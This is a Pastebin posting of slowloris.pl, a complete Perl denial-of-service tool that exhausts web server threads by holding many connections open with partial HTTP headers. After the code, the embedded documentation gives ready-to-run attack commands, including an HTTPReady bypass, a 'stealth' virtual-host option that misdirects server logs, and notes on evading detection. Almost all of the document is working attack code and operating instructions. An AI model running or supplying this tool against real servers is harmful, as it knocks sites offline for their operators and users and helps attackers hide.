Advertisement
MarkoAlvarez

slowloris.pl

Apr 19th, 2014
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.40 KB | None | 0 0
  1. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464
  2.  
  3. #!/usr/bin/perl -w
  4. use strict;
  5. use IO::Socket::INET;
  6. use IO::Socket::SSL;
  7. use Getopt::Long;
  8. use Config;
  9.  
  10. $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
  11.  
  12. print <<EOTEXT;
  13. CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
  14. CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
  15. CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
  16. CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
  17. CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
  18. ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
  19. ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
  20. oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
  21. oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
  22. oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
  23. CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
  24. CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
  25. OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO
  26. OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
  27. COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
  28. CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC
  29. coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC
  30. :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC
  31. .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC
  32. ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
  33. .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
  34. ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
  35. .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
  36. ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC
  37. . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco
  38. . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc
  39. . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco
  40. Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
  41. EOTEXT
  42.  
  43. my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
  44. my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
  45. my $result = GetOptions(
  46. 'shost=s' => \$shost,
  47. 'dns=s' => \$host,
  48. 'httpready' => \$httpready,
  49. 'num=i' => \$connections,
  50. 'cache' => \$cache,
  51. 'port=i' => \$port,
  52. 'https' => \$ssl,
  53. 'tcpto=i' => \$tcpto,
  54. 'test' => \$test,
  55. 'timeout=i' => \$timeout,
  56. 'version' => \$version,
  57. );
  58.  
  59. if ($version) {
  60. print "Version 0.7\n";
  61. exit;
  62. }
  63.  
  64. unless ($host) {
  65. print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
  66. print "\n\tType 'perldoc $0' for help with options.\n\n";
  67. exit;
  68. }
  69.  
  70. unless ($port) {
  71. $port = 80;
  72. print "Defaulting to port 80.\n";
  73. }
  74.  
  75. unless ($tcpto) {
  76. $tcpto = 5;
  77. print "Defaulting to a 5 second tcp connection timeout.\n";
  78. }
  79.  
  80. unless ($test) {
  81. unless ($timeout) {
  82. $timeout = 100;
  83. print "Defaulting to a 100 second re-try timeout.\n";
  84. }
  85. unless ($connections) {
  86. $connections = 1000;
  87. print "Defaulting to 1000 connections.\n";
  88. }
  89. }
  90.  
  91. my $usemultithreading = 0;
  92. if ( $Config{usethreads} ) {
  93. print "Multithreading enabled.\n";
  94. $usemultithreading = 1;
  95. use threads;
  96. use threads::shared;
  97. }
  98. else {
  99. print "No multithreading capabilites found!\n";
  100. print "Slowloris will be slower than normal as a result.\n";
  101. }
  102.  
  103. my $packetcount : shared = 0;
  104. my $failed : shared = 0;
  105. my $connectioncount : shared = 0;
  106.  
  107. srand() if ($cache);
  108.  
  109. if ($shost) {
  110. $sendhost = $shost;
  111. }
  112. else {
  113. $sendhost = $host;
  114. }
  115. if ($httpready) {
  116. $method = "POST";
  117. }
  118. else {
  119. $method = "GET";
  120. }
  121.  
  122. if ($test) {
  123. my @times = ( "2", "30", "90", "240", "500" );
  124. my $totaltime = 0;
  125. foreach (@times) {
  126. $totaltime = $totaltime + $_;
  127. }
  128. $totaltime = $totaltime / 60;
  129. print "This test could take up to $totaltime minutes.\n";
  130.  
  131. my $delay = 0;
  132. my $working = 0;
  133. my $sock;
  134.  
  135. if ($ssl) {
  136. if (
  137. $sock = new IO::Socket::SSL(
  138. PeerAddr => "$host",
  139. PeerPort => "$port",
  140. Timeout => "$tcpto",
  141. Proto => "tcp",
  142. )
  143. )
  144. {
  145. $working = 1;
  146. }
  147. }
  148. else {
  149. if (
  150. $sock = new IO::Socket::INET(
  151. PeerAddr => "$host",
  152. PeerPort => "$port",
  153. Timeout => "$tcpto",
  154. Proto => "tcp",
  155. )
  156. )
  157. {
  158. $working = 1;
  159. }
  160. }
  161. if ($working) {
  162. if ($cache) {
  163. $rand = "?" . int( rand(99999999999999) );
  164. }
  165. else {
  166. $rand = "";
  167. }
  168. my $primarypayload =
  169. "GET /$rand HTTP/1.1\r\n"
  170. . "Host: $sendhost\r\n"
  171. . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  172. . "Content-Length: 42\r\n";
  173. if ( print $sock $primarypayload ) {
  174. print "Connection successful, now comes the waiting game...\n";
  175. }
  176. else {
  177. print
  178. "That's odd - I connected but couldn't send the data to $host:$port.\n";
  179. print "Is something wrong?\nDying.\n";
  180. exit;
  181. }
  182. }
  183. else {
  184. print "Uhm... I can't connect to $host:$port.\n";
  185. print "Is something wrong?\nDying.\n";
  186. exit;
  187. }
  188. for ( my $i = 0 ; $i <= $#times ; $i++ ) {
  189. print "Trying a $times[$i] second delay: \n";
  190. sleep( $times[$i] );
  191. if ( print $sock "X-a: b\r\n" ) {
  192. print "\tWorked.\n";
  193. $delay = $times[$i];
  194. }
  195. else {
  196. if ( $SIG{__WARN__} ) {
  197. $delay = $times[ $i - 1 ];
  198. last;
  199. }
  200. print "\tFailed after $times[$i] seconds.\n";
  201. }
  202. }
  203.  
  204. if ( print $sock "Connection: Close\r\n\r\n" ) {
  205. print "Okay that's enough time. Slowloris closed the socket.\n";
  206. print "Use $delay seconds for -timeout.\n";
  207. exit;
  208. }
  209. else {
  210. print "Remote server closed socket.\n";
  211. print "Use $delay seconds for -timeout.\n";
  212. exit;
  213. }
  214. if ( $delay < 166 ) {
  215. print <<EOSUCKS2BU;
  216. Since the timeout ended up being so small ($delay seconds) and it generally
  217. takes between 200-500 threads for most servers and assuming any latency at
  218. all... you might have trouble using Slowloris against this target. You can
  219. tweak the -timeout flag down to less than 10 seconds but it still may not
  220. build the sockets in time.
  221. EOSUCKS2BU
  222. }
  223. }
  224. else {
  225. print
  226. "Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
  227.  
  228. if ($usemultithreading) {
  229. domultithreading($connections);
  230. }
  231. else {
  232. doconnections( $connections, $usemultithreading );
  233. }
  234. }
  235.  
  236. sub doconnections {
  237. my ( $num, $usemultithreading ) = @_;
  238. my ( @first, @sock, @working );
  239. my $failedconnections = 0;
  240. $working[$_] = 0 foreach ( 1 .. $num ); #initializing
  241. $first[$_] = 0 foreach ( 1 .. $num ); #initializing
  242. while (1) {
  243. $failedconnections = 0;
  244. print "\t\tBuilding sockets.\n";
  245. foreach my $z ( 1 .. $num ) {
  246. if ( $working[$z] == 0 ) {
  247. if ($ssl) {
  248. if (
  249. $sock[$z] = new IO::Socket::SSL(
  250. PeerAddr => "$host",
  251. PeerPort => "$port",
  252. Timeout => "$tcpto",
  253. Proto => "tcp",
  254. )
  255. )
  256. {
  257. $working[$z] = 1;
  258. }
  259. else {
  260. $working[$z] = 0;
  261. }
  262. }
  263. else {
  264. if (
  265. $sock[$z] = new IO::Socket::INET(
  266. PeerAddr => "$host",
  267. PeerPort => "$port",
  268. Timeout => "$tcpto",
  269. Proto => "tcp",
  270. )
  271. )
  272. {
  273. $working[$z] = 1;
  274. $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
  275. }
  276. else {
  277. $working[$z] = 0;
  278. }
  279. }
  280. if ( $working[$z] == 1 ) {
  281. if ($cache) {
  282. $rand = "?" . int( rand(99999999999999) );
  283. }
  284. else {
  285. $rand = "";
  286. }
  287. my $primarypayload =
  288. "$method /$rand HTTP/1.1\r\n"
  289. . "Host: $sendhost\r\n"
  290. . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  291. . "Content-Length: 42\r\n";
  292. my $handle = $sock[$z];
  293. if ($handle) {
  294. print $handle "$primarypayload";
  295. if ( $SIG{__WARN__} ) {
  296. $working[$z] = 0;
  297. close $handle;
  298. $failed++;
  299. $failedconnections++;
  300. }
  301. else {
  302. $packetcount++;
  303. $working[$z] = 1;
  304. }
  305. }
  306. else {
  307. $working[$z] = 0;
  308. $failed++;
  309. $failedconnections++;
  310. }
  311. }
  312. else {
  313. $working[$z] = 0;
  314. $failed++;
  315. $failedconnections++;
  316. }
  317. }
  318. }
  319. print "\t\tSending data.\n";
  320. foreach my $z ( 1 .. $num ) {
  321. if ( $working[$z] == 1 ) {
  322. if ( $sock[$z] ) {
  323. my $handle = $sock[$z];
  324. if ( print $handle "X-a: b\r\n" ) {
  325. $working[$z] = 1;
  326. $packetcount++;
  327. }
  328. else {
  329. $working[$z] = 0;
  330. #debugging info
  331. $failed++;
  332. $failedconnections++;
  333. }
  334. }
  335. else {
  336. $working[$z] = 0;
  337. #debugging info
  338. $failed++;
  339. $failedconnections++;
  340. }
  341. }
  342. }
  343. print
  344. "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
  345. sleep($timeout);
  346. }
  347. }
  348.  
  349. sub domultithreading {
  350. my ($num) = @_;
  351. my @thrs;
  352. my $i = 0;
  353. my $connectionsperthread = 50;
  354. while ( $i < $num ) {
  355. $thrs[$i] =
  356. threads->create( \&doconnections, $connectionsperthread, 1 );
  357. $i += $connectionsperthread;
  358. }
  359. my @threadslist = threads->list();
  360. while ( $#threadslist > 0 ) {
  361. $failed = 0;
  362. }
  363. }
  364.  
  365. __END__
  366.  
  367. =head1 TITLE
  368.  
  369. Slowloris
  370.  
  371. =head1 VERSION
  372.  
  373. Version 0.7 Beta
  374.  
  375. =head1 DATE
  376.  
  377. 06/17/2009
  378.  
  379. =head1 AUTHOR
  380.  
  381. RSnake <h@ckers.org> with threading from John Kinsella
  382.  
  383. =head1 ABSTRACT
  384.  
  385. Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.
  386.  
  387. =head1 AFFECTS
  388.  
  389. Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?
  390.  
  391. =head1 NOT AFFECTED
  392.  
  393. IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
  394.  
  395. =head1 DESCRIPTION
  396.  
  397. Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well.
  398.  
  399. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood.
  400.  
  401. =head2 Testing
  402.  
  403. If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:
  404.  
  405. =head3 Testing Example:
  406.  
  407. ./slowloris.pl -dns www.example.com -port 80 -test
  408.  
  409. This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).
  410.  
  411. =head2 HTTP DoS
  412.  
  413. Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though.
  414.  
  415. =head3 HTTP DoS Example:
  416.  
  417. ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
  418.  
  419. =head2 HTTPReady Bypass
  420.  
  421. HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.
  422.  
  423. =head3 HTTPReady Bypass Example
  424.  
  425. ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready
  426.  
  427. =head2 Stealth Host DoS
  428.  
  429. If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.
  430.  
  431. =head3 Stealth Host DoS Example:
  432.  
  433. ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
  434.  
  435. =head2 HTTPS DoS
  436.  
  437. Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary.
  438.  
  439. =head3 HTTPS DoS Example:
  440.  
  441. ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https
  442.  
  443. =head2 HTTP Cache
  444.  
  445. Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary.
  446.  
  447. =head3 HTTP Cache Example:
  448.  
  449. ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
  450.  
  451. =head1 Issues
  452.  
  453. Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.
  454.  
  455. Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.
  456.  
  457. For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD.
  458.  
  459. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.
  460.  
  461. =head1 What is a slow loris?
  462.  
  463. What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:
  464.  
  465. http://www.youtube.com/watch?v=rLdQ3UhLoD4
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement